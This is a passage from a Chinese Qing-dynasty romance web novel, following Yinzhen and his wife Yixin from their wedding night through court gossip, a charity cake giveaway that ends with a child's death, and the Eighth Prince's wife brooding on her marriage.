胤禛衔掉她的眼泪,眯起满是情欲的双眼,“疼吗?” “不知道…”不知道这是什么感觉。 仪欣压抑着低喘哭叫,眼泪迷迷糊糊落下来,像极了小动物被欺负哭时可怜的哼哼唧唧。 “还受的住吗?” “真的…不知道…” 胤禛低笑,这个笨的,什么都不知道。 “乖乖…叫我…” “王爷…” 胤禛突然用力,嘶哑喘着说,不是这个。 “胤禛…胤禛…” “再叫,乖乖,再叫…” 仪欣无助蹬腿,胤禛后背已经抓成清明上河图了。 * 一个时辰,仪欣睁圆了乌润润的杏眸,恢复自由后,哭声猫儿似的,虎视眈眈防备目光盯着眼前男人。 胤禛闷闷笑,觉得一切都格外不同,手指勾住她手腕的佛珠,熟稔捻了捻,“乖,真的不来了,真的。” 那好吧。 仪欣抬了抬胳膊,胤禛会意立刻将人抱到怀里。 胤禛将自己手腕上那串佛珠也套在她瓷白手腕上,有一句没一句的和她小声说话。 “王爷…” “有不舒服吗…” “没…是…困了…” 胤禛啄吻她的额头,搂着轻拍她的后背,温声背着她最近看的话本子。 仪欣昏昏欲睡。 胤禛其实没有要够,她第一次,身子又弱些,他的分寸感像缰绳一样乱糟糟拉扯他的欲/望。 等她安稳些,胤禛抱着仪欣汤泉沐浴,他不想唤人伺候,不太熟练地亲自为她清洗干净,时不时啄吻她的额头防止她惊醒,听她伏在他的胸膛轻轻喘气。 把暖烘烘的富察仪欣塞回被衾里,胤禛抱着属于他的人儿,胸膛前肋骨发烫,精神暖乎乎,他也随着她睡了。 … 苏培盛在院外守着,哎呦,一个劲祈求长生天。 可得顺顺利利呦! 王爷这个身份地位,二十又六还不曾…,真是比三条腿的蛤蟆都难找。 晴云面上不显,心里别提多焦急,已经两个时辰了,怎么王爷也不唤人进去伺候呢,怎么不叫水。 “苏公公,这…奴婢进去看看吧。” 苏培盛高深莫测摇摇头,“姑娘没见过是王爷的脾气,况且,王爷有分寸。” 暮色四合,别院庭廊亮起暖黄色的灯。 见着一个小太监匆匆跑过来禀告,苏培盛这也犯了难。 ——这是粘杆处有要事回禀啊。 公务?福晋? 这他替王爷怎么选。 轮到苏培盛急得团团转,嘴里发苦,若是耽误事,这罪责落到他身上,他也担不起呦。 不过一盏茶功夫,苏培盛心头一松。 内院阔步走出一个高大宽阔的身影,墨蓝色蟒袍井井有条,淡漠桃花眼里,藏匿着丝丝缕缕的笑意。 苏培盛赶紧笑着迎上去,却见自家王爷怀里稳稳抱着一团,裹着王爷幽蓝色大氅,应是还睡着。 胤禛低声问:“粘杆处可有消息?” 苏培盛哈腰轻声说:“爷,一盏茶前刚到。” 胤禛抱着那一团安稳熟睡的人儿,大步往书房走。 她刚经历情事,又娇气缠绵,若是醒来看不到他难免委屈难捱,不妨带她书房议事,她可以在书房内室睡一会儿,待到忙完公务,他还能顺手将她抱回去,省得她提着小橘灯奔波接他。 苏培盛目瞪口呆张了张口,赶忙跟上,又吩咐将福晋爱吃的小零嘴送到书房。 苏培盛:王爷,你知道你这样,有点粘人吗? 胤禛安顿好仪欣,将幽蓝色大氅搭在梨花架上,俯身贴了贴她的额头。 没有发热。 她一连两个多月都没有生病,却还是格外怕冷,惹得他也提前将隆冬大氅时常带着,以便能给她添衣裳。 轻声退出内室,留苏培盛守着内室门,若是她醒了,不管谁在书房,都要唤他。 苏培盛连连谄媚点头,笑呵呵说:“王爷,奴才办事您放心。” 见雍亲王进入书房,四五名谋臣整齐起身见礼。 “给王爷请安!” 胤禛本来如沐春风勾着唇角,此时抿着微微落下,抬手示意他们坐,不悦吩咐一句:“今日议事声音低些。” 谋臣面面相觑。 难不成是嫌弃他们昨日在书房议事,又吵起来了? 同为王爷身边谋臣,政见不和很正常,平日里吹胡子瞪眼,破口大骂都屡教不显,更有甚者,抄起椅子打起来,只要说的有理,王爷礼贤下士,可从未怪过。 邬思道适应些,轻咳一声,小声开口:“王爷,蜀地官员情况皆已查清,年羹尧不日便会启程蜀地,咱们的人已经提前安排进蜀地年府了。” 胤禛点头,示意夏刈将蜀地官员情况呈上来。 这个官员情况可并非任职政绩这种冠冕堂皇的东西,而是,私事,也可以叫把柄。 还有年羹尧,虽对雍亲王府极致投诚,胤禛仍信不过他,天高皇帝远,总要有什么牵制他。 下意识捻佛珠,却想起他的佛珠还戴在仪欣手腕上,胤禛低头笑笑。 夏刈敏锐察觉到王爷的动作,看向手腕后大骇,不自然轻声询问:“王爷…您的…”佛珠去哪了? 王爷今日似乎格外爱笑,抬眸冲他笑了,夏刈一时间说话很轻很慢,还没说完。 只听王爷随口说:“福晋拿去玩了,不必在意,你们接着说。” 第39章他是谁。 嗯。粘杆处的信物,王爷不离身的佛珠拿去玩了。 佛珠是个很暧昧私密的东西,尤其是对于信佛的人来说,开光的佛珠不能随意被他人触碰,忌讳着分走福报,共享神佛祝愿。 胤禛抬眼淡淡看他一眼。 夏刈调整一下心情,继续小声汇报查到的结果。 “一年前,年羹尧私下与八爷交往甚密,并多次向八爷提及,要将妹妹年枝许配给八爷作为侧福晋。” “目前,查到两种说法,第一是,八福晋郭络罗姚虞善妒,拒纳侧福晋进门,直言年氏包衣只堪为格格通房,或者金屋藏娇做八爷外室。” 谋臣们听着这话表情一言难尽,先是怀疑查的真假。 八福晋纵使传言有些善妒,但是,怎么可能说出这般折辱年氏的话,暂且不提八爷需要拉拢年羹尧,那其父年遐龄和其长兄年希尧,又不是好惹的。 胤禛也揉了揉眉心,轻吐几个字:“接着说。” 他没空听他们聊后宅往来,有时间还不如去陪他的仪欣。 夏刈继续说:“第二就是,年羹尧的妹妹心有所属,放话已然私定终身,非他不嫁,惹得年羹尧大怒。” “八爷听闻此事表示并不介意,还送上良妃娘娘封妃时所戴玉镯,年羹尧大喜,眼见亲事将定,年枝却险些自挂东南枝,此事未成,后面便发生了复立太子之事。” 有好事的谋士听得津津有味,还好奇打听:“他是谁?” 除了胤禛之外,书房内所有人都一脸期待看着夏刈。 对啊,非他不嫁,他是谁啊? 你跟我在这卡文呢???! 夏刈讪讪笑,“还没查出来。” 年氏救回来后奄奄一息,年羹尧逼问都没吐露的事情,他就是住在年氏床底下,也查不出来啊。 胤禛指节敲击桌面,沉吟一瞬,抬手止住话头:“不重要。” 四川总督。 年羹尧。 鸟雀择良木而栖,只希望他是个聪明人,不要再做身在曹营心在汉的蠢事。 邬思道侃侃而谈分析朝中局势,如今太子势力单薄,三爷身边文臣云集,四爷合该不争即是争。 收服年羹尧是接触兵权关键一步,在座谋臣皆是心头火热。 深秋起一阵风,似乎空气里有些潮湿,透过书房窗棂可闻庭间榕树沙沙作响。 胤禛寡淡抬眼,他这时心里权力欲望很淡,隐晦深吸气墨蓝色蟒袍上还有她的气息。 “王爷。”苏培盛小跑着进来,哈腰请安。 没听到苏培盛说什么,胤禛站起来就往外走,随意摆摆手,示意他们退下。 仪欣醒来脑袋还是懵的,周围又并非寝殿,环顾四周发愣。 这似乎是一间很清淡的内室,没有绚烂缤纷的色彩,梨木架上搭着狐裘大氅,乌木沉香矮梧案上摆着白釉瓷瓶,还有一摞整齐的书卷。 “王爷…”仪欣嗓子哑得细软。 “醒来有不舒服吗?”胤禛进入内室先将沾惹寒气的蟒袍脱掉,把仪欣抱到怀里,又故意逗她低声问,“几个时辰之前舒服吗?” “不知道。”仪欣呜呜囔囔说,面色绯红,听到后面直接炸毛,“闭嘴!不知道!!” “好好好,不知道不知道。” 胤禛抬起她的脸喂些温水,眼里涨满笑意,揽着她觉得心里不得劲,索性将人如抱孩子般揽到身上,宠溺圈在怀里。 低声问她难不难受,饿不饿,又温声问她想吃什么。 整个眼神和说话语调都特别特别温柔。 仪欣手指愤懑戳戳他的胸膛,又缠在他怀里,蹭蹭贴贴,粘人得不像话。 “王爷…下面有点别扭…”仪欣声音很小,只有胤禛能听见。 胤禛一顿,抬起她的脸,喉结滚动亲下去,低声说,“应该是药膏化成水了。仪欣,本王检查一下…” “我不要。” “仪欣…别动…”胤禛抱着就自己动手了,轻轻检查一番,倒是松口气。 仪欣恶狠狠咬上他的喉结,胤禛仰了仰头,喉结轻轻滚动,一只手护在她的后脑,摩挲着顺毛。 闹了半晌,胤禛抱着仪欣用晚膳,又捧着温热手帕给她擦脸,仪欣不想动,因而有人来代劳,在他怀里找到个舒服的位置,眯着眼像是晒太阳的小猫。 胤禛就想抱着她,时不时轻吸她的气味。 * 第二日,仪欣在胤禛怀里醒来,昨夜落雨,她和他睡在书房内室,没有回寝殿。 胤禛闭着眼,腰上缠过来一条柔软的胳膊。 他顿了顿,不愿睁眼。 仪欣昨夜睡得香甜,醒来蹭蹭他的胸膛,贴的紧一些,下雨天就是要在王爷怀里赖床,才不辜负落雨。 这样想着,仪欣腿缠在他的身上。 胤禛没有睁眼,只暗哑出声:“乖乖躺着,别撒娇。” 仪欣:? 仪欣呼吸。 胤禛:别撒娇。 “可是外面在下雨,我觉得腰后面有点凉凉的,王爷忘记了吗,咱们是夫妻,妾身抱着自己的夫君还有大理寺来抓我不成?” 胤禛沉默,她既然叫夫君了,便不同她计较了,不计较她昨夜在他怀里蹭一夜,抱得紧些也可以。 他刚经历情/事,又正是气血方刚,不免有些食髓知味。夜里烛火下看着她粉白娇憨的脸,脑中荤的素的翻涌不止。 惹得他一夜未眠。 仪欣睡着了尚且不算老实,扎在怀里一直缩,更不用说如今醒着,百无聊赖,躺一会儿就要换个姿势。 还会自言自语盘算回京要吃什么,念叨阑干阁新出的话本子。 胤禛困倦闭着眼,半晌,气笑了。 怎么会有这么闹人的? “你再动,本王就带你起来练字了。”胤禛淡淡开口。 仪欣讪讪笑,怎么会这样,前几天还夸她有进步来着。 窝在胤禛怀里,仪欣一动不动,听着落雨声,转头埋在他胸膛上轻轻喘气,准备再睡个回笼觉。 … 别庄住了一个多月,仪欣万般想念王府,一回府迫不及待要重游,觉得哪里都亲切又新鲜,胤禛觉得好笑,还是随着她在自己生活十来年的地方闲逛。 别庄里,仪欣只有胤禛,回京城后,她的时间都安排的满满当当的。 今日约了植宁和八福晋姚虞一同逛街。 第40章弘皙的新福晋 手肘支着莹白如玉的脸,她眉眼间透着娇憨妩媚的风情。 姚虞大步进来看到的就是这副扬景,心里一暖,爽朗笑着说:“四嫂,我可来晚了?” “姚虞姐姐,植宁还没到,你过会儿可得帮我批评她。” 仪欣示意姚虞快坐,将面前的糕点甜品一股脑推给她。 姚虞穿着一身橘红色旗装,气色极好,唇边是清透疏朗的笑意,本就略带英气的眉眼平添从容和温婉。 可见八爷党的衰败没有影响到眼前女子分毫。 “姐姐气色可真好。”仪欣捏着一块糕点,夸道。 “你惯会夸我。” 姚虞笑了,仪欣才是气色好,命也好。 听说雍亲王在乾清宫挡了万岁爷一剑后,将赏赐都讨了女儿家的玩意。 仪欣和姚虞正聊着天,包厢门推开,植宁被扶着走进来。 她擦了擦汗,“哎呦,马车坏在路上了。” 仪欣笑着给她递杯茶,哄着植宁说:“快喝盏茶去去晦气,什么破马车,我这就下楼给砸了!” 植宁弯唇笑,这沮丧心情,一盏茶就治愈了。 三个人这才聚齐,在包厢内听戏叙话。 植宁忍不住吐槽:“今日,我的马车坏了倒在其次,最恼人还是马车坏后,正窘迫,又遇见乌拉那拉莫雅琪。在最落魄的时候,遇见最讨厌的人,谁懂?” 仪欣笑得前仰后合,又给她斟茶让她去晦气。 “莫雅琪?哪个莫雅琪?”姚虞突然问。 “姚虞姐姐应是见过她的,就是那个说话三句不离皇长孙的格格,若不是我避得快,她非是大喊大叫笑话我不成。皇长孙赶紧收了她吧,拘在毓庆宫别出来膈应人了。” 姚虞挑眉,慢条斯理饮一口茶,听她说完,才说:“就是那个小丫头呀,她嫁不了皇长孙了。” “啊?” 此话一出,姚虞对上两双求知欲爆棚的眼睛,尤其是仪欣,杏眸漆黑,急得不行。 “皇阿玛将弘皙的福晋订下了乌梁罕济尔默氏,同时也是皇阿玛三额驸噶尔臧之女儿。”姚虞笃定补充一句,“只是尚未宣旨而已。” “可是,皇长孙从十三就传出定下乌拉那拉氏为嫡福晋,太子殿下亲口所言的,虽未定亲过礼,那也是京城都心照不宣的事情。”仪欣叽里咕噜解释一番。 姚虞姐姐或许是记错了,太子殿下同乌拉那拉府交好,莫雅琪恨不得脑门刻上皇长孙未婚妻,哪里会黄了呢? “四爷理应知晓的。”姚虞暗戳戳给雍亲王上个眼药,雍亲王何德何能,娶到这么娇憨可人的福晋,“仪欣不信就去问雍亲王好了。” 姚虞放下茶盏,淡定自若剥坚果。 她们也说那亲事是太子许诺的,可是太子之上,还有皇帝。 “我家王爷应是不知,姐姐快说快说,我什么都信!”仪欣撒娇央求一句。 仪欣嗑瓜子都不起劲了,王爷心思单纯,近日又都在别庄养伤,深居简出的,哪里会知道这么多事情。 姚虞耸肩:“万岁爷跟太子斗法呢,自然不满太子订下的福晋,万岁爷看重弘皙,亲外孙女嫁过去才得意呢。” 姚虞有种“爱活活,不活死”的旷达感,除非造反,不然八爷做不了皇帝,从前耿介疏狂的人被迫蝇营狗苟谨小慎微。 如今爱咋咋,彻底释放天性。 她是八福晋,更是安亲王岳乐的外孙女,反正万岁爷也不能宰了她。 “小丫头,你俩瞧着便是了,况且,口头定亲三年都不过礼,纵使太子金口玉言那也是扯淡。男人的口头许诺要是这么值钱,那不如人人都做皇帝,要圣旨干什么。” “哎呦,姐姐!”仪欣听着越说越猖狂,赶紧给姚虞塞一块小点心,握着团丝小扇一个劲给她打扇。 仪欣在心里赶紧表扬自己,王爷总凶自己口无遮拦,他可知足吧,她不知有多听话呢。 植宁喝水呛得直咳嗽。 姚虞见她俩这样,不由得咯咯笑,挑眉摆摆手,转个话题。 听了两折子戏,三人打赏不菲,仪欣爱听小曲,出手阔绰。 不等优伶婉转答谢,仪欣一行人相携笑着离开照春芳。 仪欣雀儿似的兴高采烈,挽着植宁的胳膊,藕荷色袄子上戴着洁白的兔毛,她常年穿得比旁人暖和许多,好似不是一个季节,纵使八大街人群熙攘,她也在人群中精致显眼。 照春芳包厢里走出来一个女子,额间带着千愁别绪,静静望着楼下的仪欣。 “那是雍亲王福晋吧。” “大小姐,想来是的,想不到雍亲王福晋和八福晋如此交好,您看……” 女子温柔清丽,像是松林间的晨雾般渺远,她声音却很哑,让人想起枯树皮的经络。 “真是倾国倾城的美人胚子。” 她刚刚偷看过那人的眼睛,干净清澈,如同娇养乖巧的狸奴,身子温软娇媚,随时都会熟稔慵懒的扎到身边人的怀里似的。 想到什么,她又垂眸轻声呢喃,“但是,在我心里,谁也配不上他。” 身侧丫鬟咬着唇,担忧看着面前女子。 … 每日暮色四合之时,酥阁闭店后会在城南发放小点心。 仪欣和植宁是打算今日一同去看管发放糕点的事情。 可是仪欣太自信她的身体状况,不过逛了小半日便气喘吁吁,虚汗频频。 迁就仪欣,几个人坐在春意楼用盏清茶,仪欣神情恹恹趴在桌上。 植宁劝一句:“城南太远了,更别说晚上还要回你的雍亲王府,我和姚虞姐姐先去看看,明日或者后日不逛街,咱们专门去。” 姚虞笑着说:“行啊,我先去看看,哪日你们给我讲讲章程,这种好事本福晋也出一份银两。” 植宁:“今日哪曾想逛这么久,把你累到了,若是再病一扬,岂不是得不偿失?” 仪欣也想去,闷闷不乐抬眼。 “福晋,王爷来了。”晴云在窗边立侍,看到王府马车停在春意楼下。 仪欣再抬头,胤禛深蓝色身影出现在包厢门口。 “王爷…”仪欣唤一句。 姚虞和植宁起身行礼问安。 胤禛弯唇,大步走到仪欣身旁,若是平时就该将她抱到怀里了,在外面,自然不能这般。 “八弟妹,西林觉罗格格。”胤禛点点头,温声说,“家妻给二位添麻烦了。” 第41章我们真是最默契的小伙伴 姚虞一挑眉,摆手:“倒是我们将四嫂累到了。” 仪欣跟两人告别,她带了晴云和三个小厮,此时身后四人手里都大包小包满满当当的。 胤禛半薅着她回到马车上,先将她碍事的鞋脱掉了,检查她的脚腕,无奈问,“这是逛了多少地方?” 仪欣把腿搭在胤禛腿上,乌瞳亮晶晶盯着他。 “怎么了?”胤禛挑眉。 仪欣黏糊糊凑过去,问:“王爷,你知不知道弘皙阿哥新福晋的事?” 胤禛弯唇,轻轻“嗯”一声。 “啊????”仪欣纳闷,仪欣很纳闷,“为什么我和王爷都在别庄住着,王爷怎么知道,我怎么不知道?” 胤禛笑出声来,慢悠悠叹口气,“只是听到一点风声罢了。” 仪欣趴在胤禛身上,谄媚替他捶腿,“王爷,快细说。” 胤禛攥住她的手,慢条斯理替她揉着脚踝。 “你想听什么呢?” “他们什么时候成亲?”仪欣问。 “除夕宫宴,本王带你去看侄子和他的新妇。”胤禛习惯话不说满,也习惯不指名道姓。 仪欣忙不迭点头,又蹙眉:“那乌拉那拉氏怎么办?” 其实,莫雅琪和她,只是性格不合矛盾频出,但是,感觉目睹她大梦一扬空,总归是让人唏嘘。 毕竟,这是皇上和太子在斗法,结果弘皙风光无限,仍旧是金尊玉贵的皇长孙,可是谁敢再娶皇长孙的前未婚妻呢? 胤禛解释:“年后以侧福晋之位进门吧。” 仪欣努努嘴,把头靠在胤禛的肩膀上,伤春悲秋叹一句:“贬妻为妾,果然男人的话都是不可信的。” 胤禛气笑:“谁教你的?” “姚虞姐姐。” 胤禛心中冷笑,八福晋把老八看得跟栓狗一样,还男人都不可信,不可信她爱的要死要活。 “以后想知道什么事来问本王,不要到处打听。”胤禛亲亲她的额头,叮嘱一句。 仪欣晃晃脑袋,不信任的说:“王爷整日忙公务,哪里懂得这些弯弯绕绕,没事,我打听到新鲜事就跟王爷说。” 胤禛:…… “那就麻烦福晋了。” 回到雍亲王府,仪欣坐在鹅绒软垫上整理今日买到的东西。 簪钗首饰,胭脂水粉,点心茶盏,陶罐泥塑,游记话本,还有零零碎碎。 名为整理,实则铺满一地。 胤禛端着一碗姜茶递给她,苏培盛紧跟着就是一碗浓稠的汤药呈上。 仪欣苦了脸,还是捧过来认真喝光。 “去床榻上歇着。”胤禛把她抱到床榻上,又塞给她一个枕头抱着,“哪能在地上坐着,说了多少次都不改。” 再这样,就给你扔出去。 他话到嘴边,还是咽下去,默念三遍不能凶她,要好好跟她讲话。 仪欣顺势趴在床榻上,“我在收拾东西呢。” 胤禛看着一地狼藉,有些沉默,捡起地零零碎碎的小东西,耐心询问,“这个泥罐罐要放到哪里?” “放到大哥前阵子给我买的泥陶旁边。”仪欣在床榻上翘着脚指挥,指了指妆台楠木架。 胤禛走过去将胖娃娃摆正,又蹲下捡起那些几件簪钗,询问:“这些放到你的妆台第三层可以吗?” 他印象中第三层都是她各种各样的簪钗。 “可以的。” 胤禛不习惯女子脂粉气息,胸膛闷闷的,所以寝殿内室平日里少有丫鬟伺候。 仪欣负责指挥,胤禛则是动手将她买回来的东西一件件归置好。 仪欣骄矜竖起大拇指夸赞他:“王爷,我们真是最默契的小伙伴!” “好的,我的小伙伴,这个翡翠雕辟邪水丞放到哪里呢?”胤禛手拿着温声询问。 仪欣刚想起来,欸一声,“王爷,那是送给你的礼物。” 胤禛弯唇,垂眸看了看手心里趴着的碧绿小摆件,指腹轻轻摸了下它的脑袋。 他似是无奈叹口气,“你本来就身子易疲累,出去同好友逛街何至于还费心思给本王挑东西。” “就是想给你买很多礼物!” 仪欣冲胤禛伸胳膊,胤禛靠近床榻就被她抱了个满怀,他只能低下头,仪欣蜷在他的怀里小啄木鸟似的啄吻。 永远不知道她的下一个吻会蹭到哪里。 胤禛搂紧她的腰,眯着眼任由她亲吻,看上去既被动又满是占有和侵略意味。 用过晚膳后,胤禛有些事要到书房处理,索性将她也抱着一起去。 仪欣端坐书桌前就开始发愁,明明一字未动,手腕就已经开始泛酸。 胤禛站在她身后,点了点宣纸,说:“你认真写满这一张,本王就处理完公务了。” 仪欣仰头眼巴巴看他,“我不去城南发放小点心反而回府,明明是要好好休息的。” 胤禛沉默,看她眼巴巴的小模样就心软,又想着前段时间忙,没顾得上听她讲发放小点心的章程,故而退一步。 “那认真写满半页,本王快点处理政务,然后一同回寝殿,可以吗?” 仪欣没办法拒绝胤禛温声询问她“可以吗”,总是会很乖巧答应“可以”。 “可以写的少,但是态度一定要认真,本王就在隔壁议事,一会儿就来接你。”胤禛俯身亲她一下,然后大步离开。 * 静谧的夜是秋日慷慨的礼物,暖灯初亮。 仪欣坐在桌案前左手扶案,一笔一划认真临摹着字帖上的行楷。 她的簪花小楷太不像话,王爷不让写了。 仪欣边写边腹诽,难不成世界上的字都要长一个样才是漂亮的吗?狗爬的怎么了,可能小狗就觉得她的字好看,怎么了? 胤禛对仪欣温柔,耐心,这几日夜里总会给她读话本子哄她睡觉,她想做什么,纵使不懂,他也会陪在一旁摆弄。 只是,在她的读书问题上,他很凶,仪欣总能幻视他手执戒尺会打她小手板。 胤禛自然是没有打过仪欣。 只是,每次她写字懈怠时,他就站在她的椅背后面,指尖点点某个字,淡淡开口:“这一篇,都重写。” 很巧,仪欣就不争气的吃这一套。 这一棵不爱学习的小白菜富察仪欣,呜呜呜,她真的觉得王爷生气的时候都有点好看。 “福晋,用盏茶吧。”晴云轻声说。 还差两行就写满半页了,仪欣撂下笔吐出口气,捧着茶呡一口,美滋滋欣赏自己的字。 她觉得她跟王爷写的都差不多了。 “福晋,西林觉罗格格给您来信了。”秀儿捧着信笺,笑着递过来。 第42章小乖,善良不是消耗品。 或者说,植宁和姚虞姐姐今夜在城南出事了? 仪欣急忙挑开信封,一张有些皱巴的纸滑到手里。 翻开信笺,扫一眼,仪欣猛得站起身来,稀里哗啦,茶水和砚台里的墨打翻在地。 ——死了一个孩子。 死了一个孩子…… 仪欣满眼都是这模糊的几个字,黑乎乎的字迹似乎渗出鲜红的血来。 呆愣转头,殿内兵荒马乱,晴云逾矩抱住她,仪欣唇色惨白,指尖发抖读植宁传来的信笺。 不知谁喊了句,“快去请王爷!” 仪欣瘫软在地上,抱膝肩膀颤抖,哽咽着哭不出声来。 胤禛进来看到的就是这副扬景,她缩成一团头埋在膝头,不过一会儿没看到,他的仪欣怎么这样了? 他跪着将人抱到身上,感受到发颤的身躯,一低头,她已经哭得通红,咬着唇哭不出声。 “怎么哭了?仪欣,本王在这…谁欺负为难你了?”胤禛护着她的头,捏着她的脸将她的唇瓣恢复血色。 环顾四周,没有旁人,只有她在一片狼藉里小兽般呜咽,胤禛低头一遍遍跟她说话。 仪欣哭得脑袋空白,说出来的话都是哭腔,“王爷,死了一个孩子,五岁…才五岁…就刚刚…救救他…” 胤禛嗓音低沉,“本王先看看,再提供解决办法。没事,没事,乖乖,没事。” 他掰开她的指缝,抖开那封信,扫一眼,心下一沉。 将她抱到内室,把她抱在怀里,只低声一遍遍哄她:“哭出声来。没事,可以哭出声来。” 城南出事了。 酥阁免费发放糕点,一批达官显贵府中负责采买的下人得到消息,为省几吊钱,前去排队领受,贫民争先恐后,采买下人露了端倪,惹得一群贫民激愤万千,双方大打出手。 兵荒马乱间,踩死了一个五岁的孩子。 胤禛冷静到木然,目光扫一眼地上的信纸,苏培盛极有眼色捡起来,退出去处理后面的事。 仪欣已经哭得浑身发抖,她说不清楚在想什么,缓过气来溢出一句话。 “是我提议将每日剩余糕点发放城南的,是我。” “我们没有安排妥当,没有准备好,真的很糟糕。” 胤禛骨节分明的手捏着她的后颈,“不是你的错。” 仪欣哭得缺氧,从惨白变得通红,他胸膛前的衣裳被眼泪湿透,浸到心里。 “不是你的错,听我说,这不是你的错,不要拿我不杀伯仁,伯仁却因我而死,这种荒唐的话来束缚自己。”胤禛声音沉稳厚重。 仪欣哭声消减,还是哽咽着说:“我不明白,王爷,我不明白。” “不明白什么?”胤禛抱紧她。 仪欣摇摇头,她不明白太多,她不明白为什么达官显贵的采买会去贫民窟抢糕点,不明白为什么一块糕点值得大打出手。 她好像又明白,于是什么东西破土发芽。 “好,不要哭,我跟你解释,好不好?” 胤禛喉结微动,把被衾裹在她身上,不让她暴露在空气中。 “仪欣,你知道为什么赈灾发放米粥时,有时要在粥中加麸糠和草料吗?” 仪欣怔愣望着他。 她虽不懂,也知道草料是喂牲口的。 胤禛开口:“一斤粮食可以换三斤麸糠,原来一斤粮食能救活一个人,现在用麸糠的话则能救活三个人。” “还有,往粥中添加麸糠和草料,可以筛选出真正需要救济的灾民,家中有余粮者,不会受领。” 仪欣呜咽一声,哭着说:“所以,发放糕点时…我们不该…它…不该是漂亮的…” 她说的断断续续,胤禛听懂了。 糕点的完整,漂亮,和出售的一般无二,便是贪婪者眼中的原罪。 “还有,有时候,慷慨是要有锋芒的,免费的赠予并不能换来感激和爱戴,也许会滋生落差和怨怼。” “若是,碎掉的糕点,一文钱一大包售卖,其实…”他说到这里突然不想说下去了。 仪欣脸上的泪止不住,胤禛给她抹去,又有源源不断淌下来。 “真的很糟糕…就是…那天我们去别庄…然后经过城南…觉得…很不好…后来…植宁说…酥阁糕点每日都要浪费…我想把它送给城南…的孩子…觉得…他们也有小点心吃会高兴…那几天…我和植宁就觉得能做有意义的事…商量多做一点…花银两多一点…分给多一点人…” 胤禛搂紧她,仰了仰头,深深吐出一口气。 她还那么懵懂,生在锦衣玉食里,眼里却能看到生长在底杂草般的百姓,她不懂贪婪者的虚伪,不懂底层奔波百姓血液里的冷漠和暴力。 贫困饥饿滋养不出明媚和善良。 “王爷,我本不是百折不挠之人,于是,有些幼稚的善良,突然就泄气了。”仪欣破瓷瓶似的靠在他怀里。 胤禛双手捧着她的脸,与她静静对视,收获到她肆意流淌进指缝的眼泪,他的眼尾也发红,他弯唇笑了笑,闭眼吻上她的唇。 仪欣被眼泪呛得咳嗽,眼睛发红,向上望着他,像是误闯入户执拗扑倒怀里的小狐狸。 “小乖,善良不是消耗品,被消耗的只会是无知、轻浮和莽撞,只有这些如剥壳般褪去后,面对人性的贪婪,依旧做出慷慨而理智的选择,这才是善良。” 她的父兄将她保护的纯粹善良,可是不扎根泥泞的善良,就是易折的花木,难免伤人伤己。 “你刚刚说,你并非百折不挠之人,可是,本王在这里,千折百折,本王都会挡在你的前面。” * 深更半夜。 仪欣懵懂的醒来,想喝水,嗓子沙哑,看到胤禛坐在床头,寝殿里灯火通明,晴云一脸凝重,太医也在。 “王爷…白天了吗?”仪欣怔愣一下,软若无骨地握住胤禛的手腕,却怎么都使不上劲。 “你发热了,仪欣。”胤禛的声线染上一丝沙哑,脸色沉沉,担忧又不敢凶,“还有哪里有觉得不舒服吗?” “没有力气,”仪欣靠在胤禛怀里,慢慢说,“嘴里苦。” 胤禛给她喂了一些温水,“刚刚给你灌了一碗药。” 仪欣两个多月没有生病,本来胤禛已经松口气,此时半夜烧得浑身粉红,迷迷糊糊醒一会儿又睡过去。 胤禛屏退众人,自己坐在床榻上抱着她守夜。 第43章风月不相关。 他的小苦瓜。 胤禛薄唇抵在她额头轻测温度,低声说:“你是一块小苦瓜。” 仪欣半睡半醒,意识迷迷糊糊听到胤禛的声音,她仰头蹭他的下巴,小声说:“我有你,明明是小甜瓜。” “不喝药,就是小甜瓜了。”胤禛忍不住亲亲她的额头,摸着她的脸蛋。 … 姚虞回到贝勒府已经深夜。 “你怎么才回来?”男人坐在床榻上,静静开口。 男人丹凤眼,苍白而颓丧,充满了矜贵温柔的脸上不见丝毫笑意。 姚虞抬手拔掉簪钗,在铜镜里看到男人的脸,淡淡开口:“出门和四嫂游玩,遇上些事,回来晚了些,贝勒爷怎么还没休息。” “担心你,况且,你不用费心讨好富察仪欣了。她是四哥的福晋,还是不相处为妙。”胤禩没好气说。 姚虞刚经历那种事,忙活着送植宁回去,然后送信雍亲王府扫尾,这时候真没空掰扯,手抚了抚耳后。 “妾身和四嫂交好,只是因为喜欢她,不为别的,贝勒爷歇吧。” “喜欢她?你比她大九岁,跟个丫头片子能聊的来什么?” 胤禩上前拉着姚虞的手腕,挂不住温良面庞,“你是不是在府中待不住了?是不是也想另谋出路?” 姚虞冷淡看他一眼,打落他的手,英气眉眼一瞪,“所以呢?妾身喜爱小九岁的仪欣不是真心?那贝勒爷要纳小七岁年氏入府时,可是真心喜欢?贝勒爷处心积虑接触富察仪欣,暗戳戳表明爱意时,难道言不由衷?” 胤禩沉默,他娶谁纳谁,都是为大事考量,何谈爱意。 姚虞垂眸,不愿多说,由丫鬟服侍着去沐浴,静静看着玫瑰水中的双手,随意扯唇。 雾气弥漫,丫鬟按摩着她的肩膀,姚虞舒缓闭上了眼睛,思绪潮水般袭扰她。 在和胤禩的感情里,她一直是主动且坦诚的。 她和他成亲已经八年了,八年前,木兰围扬,她对胤禩一见钟情,坦坦荡荡穷追不舍。 她是安亲王岳乐最疼爱的外孙女,是郭络罗氏的嫡女,和仪欣一样,都是金尊玉贵,千娇百宠的满洲格格。 她喜欢他旧时的风光霁月,温良纯善,于是主动接触他。 她不是什么善于伪装的人,情爱一事,也不屑于伪装,明媚肆意,不退不让,就是喜欢他啊,人潮拥挤里就是只看得见他呀。 人间自是有情痴,此事无关风与月。 八年,她为她的喜欢找过许多蠢笨肤浅的借口,或许她是喜欢初见那日的清风,或许她是喜欢那晚梦里的明月,或许她是喜欢天潢贵胄荣华富贵的身份。 她又全部否决,笑盈盈美滋滋确定,她是喜欢爱新觉罗胤禩,风月不相关。 什么时候开始变了呢? 对,八贤王代替了胤禩之后,一切都那般不同。 他能温和谦卑说出为民请命的箴言,却听不见近处孩提求助的哭声。这就是八贤王,下五旗蜂拥爱戴八贤王。 她作为八福晋,对八贤王问心无愧,为他出谋划策,提供嫁妆钱财和母族人脉,为他安稳后宅打点人情。 姚虞突然回忆起幼时母亲慈爱温婉的打趣,“额娘要给姚姚找一个最疼爱最喜爱你的夫君。” 她骄矜轻哼,大放厥词,“女儿要找一个自己最喜欢的,他喜不喜欢我有什么关系,我喜欢他就能跟他在一起,是我占便宜呢!” 浴室内雾气太重,姚虞骤然眼眸发红,八年后,额娘不在了,她嫁给第一眼就喜欢的人,也没有占到便宜。 